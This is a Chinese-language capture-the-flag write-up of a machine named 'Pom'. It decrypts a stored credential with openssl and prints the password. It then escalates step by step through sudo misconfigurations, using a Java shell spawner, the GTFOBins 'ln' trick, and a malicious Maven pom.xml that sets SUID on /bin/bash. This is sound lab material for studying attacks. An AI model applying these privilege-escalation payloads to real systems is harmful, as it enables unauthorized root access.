DA/YD/1JMqiUOyxlVg48pNaNcItvPDJ63PuueXHXReTF47E+ly0uC1GPZJiVfmQR
Y6M+Rawsl0gc12xEpbybU+ZKwXdXLbOESHf1HEFYaSLt/AsvhuS+U6A1S8OWzcJD
PMaa+Na4lks40ThhIbL5gpNNvLAVnGqSrN/XdQxXEqMnrGu6nju0260eWvcyl7qZ
Z/YEbguuNMs643fkxaDG9P323ZE4BmKevLA3b062Vmjd0AmvPTKFw2GY6AY1XdIP
9EHSePaTA1KgXaowUBybK+gnOFUWWjI6ngWLUQjO+nCinMjlgG/URYHPIybdYTBv
PS2aQ18tYPKlCdoQNvWEhIYYKroKpfr3WHANuAySJfp5OmcGz9p5EOTU0oOl0LSq
C42zck1eWT/qLDppvJrrqxCS/x1k2SplkQx50ohnkwr0MtaNDFqm1HJDfnSGliHM
GYSliYwgDwIDAQABo1MwUTAdBgNVHQ4EFgQU9/xnvtfBkD4TGxnNgjoDSQXG1tAw
HwYDVR0jBBgwFoAU9/xnvtfBkD4TGxnNgjoDSQXG1tAwDwYDVR0TAQH/BAUwAwEB
/zANBgkqhkiG9w0BAQsFAAOCAgEAuOVYZ8E3uOVBdnMrUQuGDFP6ZNGvyAmNMp84
2QxL8g8r8K5SNo/JHhBf8CkY2BJG15l01/Ic6g56DqzTsQjfmwQAjfnqVWyHwcp9
KSj9XdE3V39QO1ZGgICStAW0n3TXAa1jRn+GHcz7SZyTB9jGOqh1aAOrAH6/Rsdf
XBsBpesbeMAHhD2oJdMl45Bkl3dW8FruNP/CAde8vpPR0AQmsHy/2a5m7dcsCK39
JgroLyhPJGFdHi698agrn5d1vNwzpfQRmu9Iw6Bk/0W5U8jlFYMZu+fK2rzA06o6
96GZumbchDHhsi7Ajoa+RYTEXqbyU9a2KDnm3OZC5R5WQY/d+BVnjRmefPWv8kqa
5gJ0FGoYCMiR8PY0dpH9wKm4IwxsQAIOe3S2VuEaI6ceRO7Yq/FS31addb+B3UjV
pWm7+WDDjsEKXY7jxjqWk7Lq3Rh1bTMDR4fxFVhXLish3vQfDA8xSZrGCRaqurwM
AzjwR2b2GkKVaUVgMJ/8W1kupoJAjr63JIhzmCz3Ciq9/uwgpLFqHhMn1ooBKToU
rWXPT5PXKEFHODfP+uj9NP8aTxrevJ1SCX7e0S6UO61J0Zjmk7jY+L6ke5blKGiV
9NYsvoozjwwRKzAxR95V8TVCy4gNa5ViLG6FcXQ1hLDdfMfRTfuMrYvTtiqhWVvd
TgrwK04=
-----END CERTIFICATE-----
Pom:~/.local$

那么ssl.pem应该是解密maven.meta的key

1
2
3

Pom:~$ openssl rsautl -decrypt -inkey /home/mav1234/.local/ssl.pem -in /home/mav1234/.local/maven.meta
The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead.
MvxPf8yCB8lxXk5APom:~$

成功获取到mav1234的凭证MvxPf8yCB8lxXk5A

‍

提权

横向移动到qc2000

Pom:~$ sudo -l
[sudo] password for mav1234:
Matching Defaults entries for mav1234 on Pom:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for mav1234:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User mav1234 may run the following commands on Pom:
    (qc2000) PASSWD: /usr/bin/java
Pom:~$

可以使用java提权

cat << 'EOF' > /tmp/Shell.java
import java.io.*;

public class Shell {
    public static void main(String[] args) {
        try {
            // 启动 bash 并将输入、输出、错误流直接重定向到当前终端
            ProcessBuilder pb = new ProcessBuilder("/bin/bash");
            pb.redirectInput(ProcessBuilder.Redirect.INHERIT);
            pb.redirectOutput(ProcessBuilder.Redirect.INHERIT);
            pb.redirectError(ProcessBuilder.Redirect.INHERIT);
            Process p = pb.start();
            p.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
EOF
sudo -u qc2000 /usr/bin/java /tmp/Shell.java

‍

Pom:~$ sudo -u qc2000 /usr/bin/java /tmp/Shell.java
Pom:/tmp/hsperfdata_qc2000$ id
uid=1001(qc2000) gid=1001(qc2000) groups=1001(qc2000)
Pom:/tmp/hsperfdata_qc2000$

‍

横向移动到terra536

Pom:/tmp/hsperfdata_qc2000$ sudo -l
Matching Defaults entries for qc2000 on Pom:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for qc2000:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User qc2000 may run the following commands on Pom:
    (terra536) NOPASSWD: /home/terra536/ln

ln提权gtf上有提权方案

https://gtfobins.org/gtfobins/ln/

Pom:/tmp/hsperfdata_qc2000$ sudo -u terra536 /home/terra536/ln -fs /bin/sh /home/terra536/ln
ctrl+D
sudo -u terra536 /home/terra536/ln
Pom:/tmp/hsperfdata_qc2000$ id
uid=1002(terra536) gid=1002(terra536) groups=1002(terra536)

‍

terra536 -> root

Pom:/tmp/hsperfdata_qc2000$ sudo -l
Matching Defaults entries for terra536 on Pom:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for terra536:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User terra536 may run the following commands on Pom:
    (ALL) NOPASSWD: /usr/bin/mvn
Pom:/tmp/hsperfdata_qc2000$

Apache Maven 是一个项目对象模型（POM）和构建自动化工具。由于它在构建项目时会执行代码、编译插件，并且允许用户自定义构建生命周期，我们可以通过提供一个恶意或自定义的 pom.xml，在 mvn 构建过程中直接执行任意系统命令。只需要在 /tmp 目录下创建一个极简的 Maven 项目，并在 pom.xml 中配置一个能够执行系统命令的插件

mkdir -p /tmp/privesc
cd /tmp/privesc

cat << 'EOF' > pom.xml
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.privesc</groupId>
    <artifactId>bypass</artifactId>
    <version>1.0</version>
    <build>
        <plugins>
            <plugin>
                <groupId>org.codehaus.mojo</groupId>
                <artifactId>exec-maven-plugin</artifactId>
                <version>3.1.0</version>
                <executions>
                    <execution>
                        <phase>validate</phase>
                        <goals>
                            <goal>exec</goal>
                        </goals>
                    </execution>
                </executions>
                <configuration>
                    <executable>chmod</executable>
                    <arguments>
                        <argument>+s</argument>
                        <argument>/bin/bash</argument>
                    </arguments>
                </configuration>
            </plugin>
        </plugins>
    </build>
</project>
EOF